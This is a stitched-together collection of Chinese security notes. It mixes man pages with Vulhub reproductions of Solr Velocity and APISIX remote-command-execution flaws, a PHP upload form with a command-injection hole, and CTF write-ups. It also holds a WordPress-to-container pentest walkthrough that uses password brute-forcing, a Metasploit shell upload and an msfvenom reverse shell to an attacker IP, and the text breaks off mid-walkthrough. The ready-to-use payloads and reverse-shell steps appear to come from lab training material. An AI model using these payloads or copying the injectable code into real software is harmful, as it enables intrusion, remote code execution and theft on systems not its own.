给一个 postgres 进程发送 SIGKILL 也是不明智的: postmaster 将把这个信号解释成一次在 postgres 里的 崩溃, 并且会强制所有他的子 postgres 进程像在一个标准的崩溃-恢复过程里一 样退出。 .SH "USAGE 用法" .PP 用下面这样的命令启动一个独立的服务器 .sp .nf \fBpostgres -D /usr/local/pgsql/data \fIother-options\fB my_database\fR .sp .fi 用 -D 给服务器提供正确的数据库目录的路径, 或者确保环境变量 PGDATA 已经正确设置。 同时还要声名你象用的特定数据库名字。 .PP 通常,独立运行的服务器把换行符当做命令输入完成字符; 它还不懂分号的作用,因为那些东西是在 \fBpsql\fR(1) 里的。 要想把一行分成多行写,你必需在除最后一个换行符以外的每个换行符前面敲一个反斜杠。 .PP 但是如果你使用 -N 命令行开关,那么换行符就不会中止命令输入。 服务器将从标准输入读取数据,直到碰到文件结尾(EOF), 然后把输入当做一个单个的命令字串处理。这个时候反斜杠-换行符就不再当做特殊情况处理。 .PP 要退出会话,键入EOF (通常是 \fBControl\fR+\fBD\fR)。 如果你已经使用了 -N,需要用两个连续的EOF来退出。 .PP 请注意独立运行的服务器不会提供复杂的行编辑功能(比如,没有命令行历史)。 .SH "SEE ALSO 参见" .PP \fBinitdb\fR(1), \fBipcclean\fR(1), \fBpostmaster\fR(1) .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558) Apache Solr 是一个开源的搜索服务器。 在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。 具体漏洞原理和POC可以参考: - https://nvd.nist.gov/vuln/detail/CVE-2019-17558 - https://issues.apache.org/jira/browse/SOLR-13971 - https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133 - https://github.com/jas502n/solr_rce ## 漏洞环境 执行如下命令启动一个Apache Solr 8.2.0服务器: ``` docker compose up -d ``` 服务启动后,访问`http://your-ip:8983`即可查看到一个无需权限的Apache Solr服务。 ## 漏洞复现 默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心: ``` http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json ``` Vulhub里唯一的核心是`demo`: ![](1.png) 通过如下请求开启`params.resource.loader.enabled`,其中API路径包含刚才获取的core名称: ``` POST /solr/demo/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } ``` 之后,注入Velocity模板即可执行任意命令: ``` http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end ``` ![](2.png)
sec-knowleage
iptables-save === 备份iptables的表配置 ## 补充说明 **iptables-save命令** 用于将linux内核中的iptables表导出到标准输出设备商,通常,使用shell中I/O重定向功能将其输出保存到指定文件中。 ### 语法 ```shell iptables-save(选项) ``` ### 选项 ```shell -c:指定要保存的iptables表时,保存当权的数据包计算器和字节计数器的值; -t:指定要保存的表的名称。 ``` ### 实例 ```shell [root@localhost ~]# iptables-save -t filter > iptables.bak [root@localhost ~]# cat iptables.bak # Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013 *filter :INPUT DROP [48113:2690676] :FORWARD accept [0:0] :OUTPUT ACCEPT [3381959:1818595115] -A INPUT -i lo -j ACCEPT -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT -A INPUT -p icmp -j ACCEPT -A OUTPUT -o lo -j ACCEPT COMMIT ```
sec-knowleage
# LDAP未授权访问漏洞 ## 介绍 LDAP的全称为Lightweight Directory Access Protocol(轻量级目录访问协议), 基于X.500标准, 支持 TCP/IP。 LDAP目录为数据库,通过LDAP服务器(相当于DBMS)处理查询和更新, 以树状的层次结构来存储数据,相对关系型数据库, LDAP主要是优化数据读取的性能,适用于比较少改变、跨平台的信息。 **LDAP属性** | 属性 | 全名 | 描述 | | ----------- | ------------------ | ------------------------------------------------------------ | | dn | distinguished name | 唯一标识名,类似于绝对路径,每个对象都有唯一标识名。 例如:uid=tester,ou=People,dc=example,dc=com | | rdn | relative | 相对标识名,类似于相对路径。 例如:uid=tester | | uid | user id | 通常指用户登录名。 例如:uid=tester | | sn | sur name | 通常指一个人的姓氏。 例如:sn: Su | | giveName | | 通常指一个人的名字。 例如:giveName: Aldwin | | I | | 通常指一个地方的地名。 例如:I: Beijing | | objectClass | | objectClass是特殊属性,包含数据存储的方式以及相关属性信息。 | | dc | domain component | 通常指定一个域名。 例如:dc=example,dc=com | | ou | organization unit | 通常指定一个组织单元的名称。 例如:ou=people,dc=example,dc=com | | cn | common name | 通常指一个对象的名称。如果是人,需要使用全名。 | | c | country | 一个二位的国家代码。 例如:CN、US、HK、JP等。 | ## 环境搭建 ``` docker run -p 389:389 -p 636:636 --name my-openldap-container --detach osixia/openldap:1.5.0 ``` ## 漏洞复现 ``` docker exec my-openldap-container ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin ``` ![image-20230129213124693](../../.gitbook/assets/image-20230129213124693.png)
sec-knowleage
exit === 退出当前的shell。 ## 概要 ```shell exit [n] ``` ## 主要用途 - 执行exit可使shell以指定的状态值退出。若不设置参数,则以最后一条命令的返回值作为exit的返回值退出。 ## 参数 n(可选):指定的shell返回值(整数)。 ## 返回值 返回值为你指定的参数n的值,如果你指定的参数大于255或小于0,那么会通过加或减256的方式使得返回值总是处于0到255之间。 ## 例子 退出当前shell: ```shell [root@localhost ~]# exit logout ``` 也可以使用`ctrl+d`退出当前终端,下面列出了打开或关闭该功能的方法: ```shell # 打开ctrl+d退出终端 set -o ignoreeof # 关闭ctrl+d退出终端 set +o ignoreeof ``` 在脚本中,进入脚本所在目录,否则退出: ```shell cd $(dirname $0) || exit 1 ``` 在脚本中,判断参数数量,不匹配就打印使用方式,退出: ```shell if [ "$#" -ne "2" ]; then echo "usage: $0 <area> <hours>" exit 2 fi ``` 在脚本中,退出时删除临时文件: ```shell trap "rm -f tmpfile; echo Bye." EXIT ``` 检查上一命令的退出码: ```shell ./mycommand.sh EXCODE=$? if [ "$EXCODE" == "0" ]; then echo "O.K" fi ``` ### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
sec-knowleage
## Image Archeology (Admin, 350) > We have found the file, which contains a part of gai. But where is it? > Hints > You don't need any special reverse skills to solve this. It will be enough to use strings > to reveal how the flag can be found. In this task, we received an image of a small disk. After mounting it, we found an usual Unix folder (/bin and so on). Even without the hint, we searched for unusual things in it: ``` find . -type f -exec bash -c "strings {} | grep -E volga\|Volga && echo {}" \; hacker.volga.ctf ./bin/busybox2 hacker.volga.ctf ./core strings: ./usr/bin/sudo: Permission denied strings: ./usr/sbin/visudo: Permission denied ``` Well, it's unlikely that untampered system would have such strings, so we quickly looked into `busybox2` executable. When ran, it didn't do much - it returned into prompt immediately. However, after a couple of seconds, our system restarted... After a close look, we noticed the executable contained string `/sbin/reboot`. We patched it, so it will call `/bin/ls` instead (a crude patch, but it worked). The code itself was not very hard - it was: - xoring stuff - taking two `rand()`s without any `srand()` before and interpreting the results as a date - sending something to `hacker.volga.ctf` (host unavailable) - forking, and rebooting in one child Well, we did not waste our time reversing the code any further - we simply stepped through the code in debugger and break when the connection was made to the aforementioned site. It turns out, that the flag was in memory at that time.
sec-knowleage
# Apache APISIX 默认密钥漏洞(CVE-2020-13945) Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token `edd1c9f034335f136f87ad84b625c8f1`,攻击者利用这个Token可以访问到管理员接口,进而通过`script`参数来插入任意LUA脚本并执行。 参考链接: - https://apisix.apache.org/docs/apisix/getting-started - https://github.com/apache/apisix/pull/2244 - https://seclists.org/oss-sec/2020/q4/187 ## 漏洞环境 执行如下命令启动一个Apache APISIX 2.11.0(这个漏洞并没有且应该不会被官方修复,所以到最新版仍然存在): ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:9080`即可查看到默认的404页面。 ## 漏洞复现 利用默认Token增加一个恶意的router,其中包含恶意LUA脚本: ``` POST /apisix/admin/routes HTTP/1.1 Host: your-ip:9080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 Content-Type: application/json Content-Length: 406 { "uri": "/attack", "script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M", "upstream": { "type": "roundrobin", "nodes": { "example.com:80": 1 } } } ``` ![](1.png) 然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令: ``` http://your-ip:9080/attack?cmd=id ``` ![](2.png)
sec-knowleage
<?php if (!empty($_FILES)): $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) { die('Unsupported filetype uploaded.'); } $size = shell_exec("identify -format '%w x %h' {$_FILES['file_upload']['tmp_name']}"); echo "Image size is: $size"; else: ?> <form method="post" enctype="multipart/form-data"> File: <input type="file" name="file_upload"> <input type="submit"> </form> <?php endif;
sec-knowleage
+ [Web Hacking 101 中文版](README.md) + [一、前言](1.md) + [二、黑客们请注意](2.md) + [三、引言](3.md) + [四、背景](4.md) + [五、HTML 注入](5.md) + [六、HTTP 参数污染](6.md) + [七、CRLF 注入](7.md) + [八、跨站请求伪造](8.md) + [九、应用逻辑漏洞](9.md) + [十、跨站脚本攻击](10.md) + [十一、SQL 注入](11.md) + [十二、开放重定向漏洞](12.md) + [十三、子域劫持](13.md) + [十四、XML 外部实体注入](14.md) + [十五、代码执行](15.md) + [十六、模板注入](16.md) + [十七、服务端请求伪造](17.md) + [十八、内存](18.md) + [十九、起步](19.md) + [二十、漏洞报告](20.md) + [二十一、工具](21.md) + [二十二、资源](22.md)
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH TEST 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 test \- 检查文件类型并比较值 .SH 概述 \fBtest\fP \fI表达式\fP .br \fBtest\fP .br .\" \& tells doclifter the brackets are literal (Bug#31803). \fB[\&\fP \fI表达式\fP \fB]\&\fP .br \fB[\& ]"\fP .br \fB[\&\fP \fI选项\fP .SH 描述 .\" Add any additional description here .PP 退出状态值取决于表达式。 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 表达式被省略,则默认为假。否则,表达式可能为真或假,且以此设置返回状态。可能出现的情况如下所示: .TP ( 表达式 ) 表达式为真 .TP ! 表达式 表达式为假 .TP 表达式1 \fB\-a\fP 表达式2 表达式1 与表达式2 皆为真 .TP 表达式1 \fB\-o\fP 表达式2 表达式1 或表达式2 为真 .TP \fB\-n\fP 字符串 字符串长度非零 .TP STRING 等价于 \fB\-n\fP 字符串 .TP \fB\-z\fP 字符串 字符串的长度为 0 .TP 字符串1 = 字符串2 字符串相等 .TP 字符串1 != 字符串2 字符串不相等 .TP 整数1 \fB\-eq\fP 整数2 整数1 与整数2 相等 .TP 整数1 \fB\-ge\fP 整数2 整数1 大于或等于整数2 .TP 整数1 \fB\-gt\fP 整数2 整数1 大于整数2 .TP 整数1 \fB\-le\fP 整数2 整数1 小于或等于整数2 .TP 整数1 \fB\-lt\fP 整数2 整数1 小于整数2 .TP 整数1 \fB\-ne\fP 整数2 整数1 和整数2 不相等 .TP 文件1 \fB\-ef\fP 文件2 文件1 和文件2 拥有相同的设备编号与 inode 编号 .TP 文件1 \fB\-nt\fP 文件2 文件1 在修改时间上新于文件2 .TP 文件1 \fB\-ot\fP 文件2 文件1 比文件2 更旧 .TP \fB\-b\fP 文件 文件存在且为块特殊文件 .TP \fB\-c\fP 文件 文件存在且为字符特殊文件 .TP \fB\-d\fP 文件 文件存在且为目录 .TP \fB\-e\fP 文件 文件存在 .TP \fB\-f\fP 文件 文件存在且为普通文件 .TP \fB\-g\fP 文件 文件存在且被设置了 set\-group\-ID 位 .TP \fB\-g\fP 文件 文件存在且为有效组ID 所有 .TP \fB\-h\fP 文件 文件存在且为一个符号链接(与 \fB\-L\fP 相同) .TP \fB\-k\fP 文件 文件存在且被设置粘着位 .TP \fB\-L\fP 文件 指定文件存在且为符号链接(等效于\-h) .TP \fB\-N\fP 文件 指定文件存在且自上次读取以来已被修改 .TP \fB\-O\fP 文件 指定文件存在且为有效用户 ID 所拥有 .TP \fB\-p\fP 文件 指定文件存在且为命名管道 .TP \fB\-r\fP 文件 文件存在且用户具有读权限 .TP \fB\-s\fP 文件 指定文件存在且其大小大于零 .TP \fB\-S\fP 文件 文件存在且为套接字 .TP \fB\-t\fP FD 文件描述符 FD 在某个终端打开 .TP \fB\-u\fP 文件 文件存在且被设置了 set\-user\-ID 位 .TP \fB\-w\fP 文件 文件存在且用户具有写权限 .TP \fB\-x\fP 文件 文件存在且用户具有执行(或搜索)权限 .PP 除了 \fB\-h\fP 和 \fB\-L\fP,所有与指定文件相关的测试都跟随符号链接。请注意在 shell 中圆括号需要被转义(例如,使用反斜线)。也可以把“\fB\-l\fP 字符串”作为指定整数,其值为该字符串的长度。 .PP 注:二元运算符 \fB\-a\fP 和 \fB\-o\fP 存在固有的歧义问题。请使用 "test EXPR1 &&test EXPR2" 或 "test EXPR1 || test EXPR2" 作为替代。 .PP 注记:[ 接受 \fB\-\-help\fP 和 \fB\-\-version\fP 选项,但是 test 并非如此。test 将它们与其它非空字符串同等看待。 .PP 注意:您的 shell 可能内置了自己的 test 和/或 [ 程序版本,它会覆盖这里所提及的相应版本。请查阅您的 shell 文档获知它所支持的选项。 .SH 作者 由 Kevin Braunsdorf 和 Matthew Bradburn 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 \fBaccess\fP(2) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/test[> .br 或者在本地使用: info \(aq(coreutils) test invocation\(aq
sec-knowleage
# BackHash Crypto, 10 points ## Description > We found this thingy - we dont know what it does. ## Solution We enter the provided link and see the following form: ```html <p style="font-size: 175%;">BackHash</p> <p>The yeet replaces all occurences of f1a9 with the flag</p> <p id="out"></p> <input id="input" placeholder="Input"> <button onclick="gen()">Result</button> ``` Entering a value and clicking the button results in a request being sent to the server: ```console root@kali:/media/sf_CTFs/kaf/BackHash# curl 'http://ctf.kaf.sh:1070/scripts/backend/backhash/backhash.php' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary 'backhash={"action":"generate","p arameters":{"input":"test"}}' && echo {"backhash":{"status":{"generate":true},"result":{"generate":"68358d5d9cbbf39fe571ba41f26524b6"}}} ``` In the example above, we sent `test` and received a response of `68358d5d9cbbf39fe571ba41f26524b6`. Searching for this response online, we find out that it is the MD5 of the SHA1 of `test`: ```console root@kali:/media/sf_CTFs/kaf/BackHash# echo -n "test" | sha1sum | awk '{ printf $1 }' | md5sum 68358d5d9cbbf39fe571ba41f26524b6 - ``` So it looks like we have to find a string `s` such that `MD5(SHA1(s)).contains('f1a9')`. The following script does that: ```python import hashlib target = 'f1a9' candidate = 0 while True: plaintext = str(candidate) hash = hashlib.sha1(plaintext.encode('ascii')).hexdigest() hash = hashlib.md5(hash.encode('ascii')).hexdigest() if target in hash: print('plaintext: "' + plaintext + '", hash: ' + hash) break candidate = candidate + 1 ``` Output: ```console root@kali:/media/sf_CTFs/kaf/BackHash# python solve.py plaintext: "2286", hash: 904127e6901da6f1a9cdd436701a253f ``` We send `2286` to the server and get back the flag: ```console root@kali:/media/sf_CTFs/kaf/BackHash# curl 'http://ctf.kaf.sh:1070/scripts/backend/backhash/backhash.php' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary 'backhash={"action":"generate","parameters":{"input":"2286"}}' && echo {"backhash":{"status":{"generate":true},"result":{"generate":"904127e6901da6KAF{Dn4k_f1a9z___much_f1a9_l0t5_h4ppy}cdd436701a253f"}}} ``` The flag: `KAF{Dn4k_f1a9z___much_f1a9_l0t5_h4ppy}` By the way, the server also accepted a string who's MD5 contained `f1a9` directly: ```console root@kali:/media/sf_CTFs/kaf/BackHash# echo -n "812" | md5sum 81e74d678581a3bb7a720b019f4f1a93 - root@kali:/media/sf_CTFs/kaf/BackHash# curl 'http://ctf.kaf.sh:1070/scripts/backend/backhash/backhash.php' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary 'backhash={"action":"generate","parameters":{"input":"812"}}' && echo {"backhash":{"status":{"generate":true},"result":{"generate":"81e74d678581a3bb7a720b019f4KAF{Dn4k_f1a9z___much_f1a9_l0t5_h4ppy}3"}}} ``` (Update: Based on [this writeup](https://blog.vihan.org/kipodafterfree-ctf-2019/#backhash), the algorithm is decided according to the length of the input. If `len(input) % 3 == 0`, the result is `MD5(input)`. If the remainder is 1, the result is `MD5(SHA1(input))`. Otherwise, the result is `MD5(SHA1(Base64(input)))`).
sec-knowleage
# Vulnerable Docker 1 > https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova 靶场IP:`192.168.32.225` 有两种模式:`easy`和`hard` ![image-20220911152415635](../../.gitbook/assets/image-20220911152415635.png) ## hard 扫描对外端口服务 ``` ┌──(root💀kali)-[~] └─# nmap -p 1-65535 -sV 192.168.32.225 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 03:20 EDT Nmap scan report for 192.168.32.225 Host is up (0.00077s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0) 8000/tcp open http Apache httpd 2.4.10 ((Debian)) MAC Address: 00:0C:29:EC:B1:68 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.23 seconds ``` 访问8000端口 ![image-20220911152108395](../../.gitbook/assets/image-20220911152108395.png) 爆破web目录 ``` ┌──(root💀kali)-[~] └─# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://192.168.32.225:8000/ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.32.225:8000/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/09/11 03:26:05 Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 295] /.htaccess (Status: 403) [Size: 300] /.htpasswd (Status: 403) [Size: 300] /0 (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/0/] /a (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/a-homepage-section/] /A (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/a-homepage-section/] /about (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/about/] /About (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/About/] /admin (Status: 302) [Size: 0] [--> http://192.168.32.225:8000/wp-admin/] /atom (Status: 200) [Size: 20055] /B (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/blog/] /b (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/blog/] /bl (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/blog/] /blog (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/blog/] /Blog (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/Blog/] /c (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/contact/] /C (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/contact/] /co (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/contact/] /coffee (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/coffee/] /comment-page-1 (Status: 200) [Size: 52924] /con (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/contact/] /cont (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/contact/] /Contact (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/Contact/] /contact (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/contact/] /dashboard (Status: 302) [Size: 0] [--> http://192.168.32.225:8000/wp-admin/] /embed (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/embed/] /favicon.ico (Status: 200) [Size: 0] /feed (Status: 200) [Size: 17992] /h (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/2017/08/19/hello-world/] /H (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/2017/08/19/hello-world/] /hello (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/2017/08/19/hello-world/] /home (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/home/] /Home (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/Home/] /index.php (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/] /login (Status: 302) [Size: 0] [--> http://192.168.32.225:8000/wp-login.php] /p (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/post-6/] /P (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/post-6/] /page2 (Status: 200) [Size: 61436] /page1 (Status: 200) [Size: 71444] /pos (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/post-6/] /post (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/post-6/] /rdf (Status: 200) [Size: 16332] /robots.txt (Status: 200) [Size: 67] /rss (Status: 200) [Size: 2402] /rss2 (Status: 200) [Size: 17992] /s (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/sample-page/] /S (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/sample-page/] /sa (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/sample-page/] /sam (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/sample-page/] /sample (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/sample-page/] /server-status (Status: 403) [Size: 304] /wp-admin (Status: 301) [Size: 326] [--> http://192.168.32.225:8000/wp-admin/] /wp-content (Status: 301) [Size: 328] [--> http://192.168.32.225:8000/wp-content/] /wp-includes (Status: 301) [Size: 329] [--> http://192.168.32.225:8000/wp-includes/] /xmlrpc.php (Status: 405) [Size: 42] =============================================================== 2022/09/11 03:28:12 Finished =============================================================== ``` 发现cms是wordpress,使用wpscan进行扫描 ``` ┌──(root💀kali)-[~] └─# wpscan --url http://192.168.32.225:8000 _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.14 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [i] It seems like you have not updated the database for some time. [?] Do you want to update now? [Y]es [N]o, default: [N]B [+] URL: http://192.168.32.225:8000/ [192.168.32.225] [+] Started: Sun Sep 11 03:29:55 2022 Interesting Finding(s): [+] Headers | Interesting Entries: | - Server: Apache/2.4.10 (Debian) | - X-Powered-By: PHP/5.6.31 | Found By: Headers (Passive Detection) | Confidence: 100% [+] robots.txt found: http://192.168.32.225:8000/robots.txt | Interesting Entries: | - /wp-admin/ | - /wp-admin/admin-ajax.php | Found By: Robots Txt (Aggressive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://192.168.32.225:8000/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access [+] WordPress readme found: http://192.168.32.225:8000/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://192.168.32.225:8000/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 4.8.1 identified (Insecure, released on 2017-08-02). | Found By: Rss Generator (Passive Detection) | - http://192.168.32.225:8000/feed/, <generator>https://wordpress.org/?v=4.8.1</generator> | - http://192.168.32.225:8000/comments/feed/, <generator>https://wordpress.org/?v=4.8.1</generator> [+] WordPress theme in use: twentyseventeen | Location: http://192.168.32.225:8000/wp-content/themes/twentyseventeen/ | Last Updated: 2022-05-24T00:00:00.000Z | Readme: http://192.168.32.225:8000/wp-content/themes/twentyseventeen/README.txt | [!] The version is out of date, the latest version is 3.0 | Style URL: http://192.168.32.225:8000/wp-content/themes/twentyseventeen/style.css?ver=4.8.1 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Css Style In 404 Page (Passive Detection) | | Version: 1.3 (80% confidence) | Found By: Style (Passive Detection) | - http://192.168.32.225:8000/wp-content/themes/twentyseventeen/style.css?ver=4.8.1, Match: 'Version: 1.3' [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. [+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:02 <==============================================================================================================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:02 [i] No Config Backups Found. [!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register [+] Finished: Sun Sep 11 03:30:00 2022 [+] Requests Done: 171 [+] Cached Requests: 7 [+] Data Sent: 44.524 KB [+] Data Received: 476.498 KB [+] Memory used: 228.035 MB [+] Elapsed time: 00:00:05 ``` 枚举用户 ``` ┌──(root💀kali)-[~] └─# wpscan --url http://192.168.32.225:8000 --enumerate u [+] bob | Found By: Author Posts - Author Pattern (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Wp Json Api (Aggressive Detection) | - http://192.168.32.225:8000/wp-json/wp/v2/users/?per_page=100&page=1 | Rss Generator (Aggressive Detection) | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) ``` 爆破bob的密码,发现密码:`Welcome1` ``` ┌──(root💀kali)-[/opt] └─# wpscan --url http://192.168.32.225:8000 -U bob -P /opt/10_million_password_list_top_10000.txt [!] Valid Combinations Found: | Username: bob, Password: Welcome1 ``` 访问:`/wp-admin` ![image-20220911153550320](../../.gitbook/assets/image-20220911153550320.png) 我们在 Wordpress 中有管理员,让我们在(大概)容器中获取一个 shell: ``` use exploit/unix/webapp/wp_admin_shell_upload set PASSWORD Welcome1 set USERNAME bob set RHOST 192.168.32.225 set RPORT 8000 run ``` ![image-20220911154355217](../../.gitbook/assets/image-20220911154355217.png) 我们现在有一个meterpreter。在这一点上,我被卡住了一段时间。我首先开始搜索一些 setuid 二进制文件,但这并没有让我到任何地方。因此,我尝试查找有关网络的信息: ``` ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 5: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff inet 172.18.0.2/16 scope global eth0 valid_lft forever preferred_lft forever ``` 因此,我尝试设置一些到 172.18.0.4/16 网络的路由来进行端口扫描,但此时我一直遇到问题,即使设置了路由,端口扫描也会显示整个 172.18 的开放端口。 0.0/24 网络,好像出来了。 我对此一头雾水,最终认为这可能是因为我使用的是基于 PHP 的 Meterpreter,而且显然它的功能相当有限(例如,没有 ipconfig)。所以,我继续生成了一个完整的仪表并将其放入容器中: ``` ┌──(root💀kali)-[/tmp] └─# msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.32.130 LPORT=4444 -f elf > shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 1101336 bytes Final size of elf file: 1101336 bytes ``` 上传shell ``` meterpreter 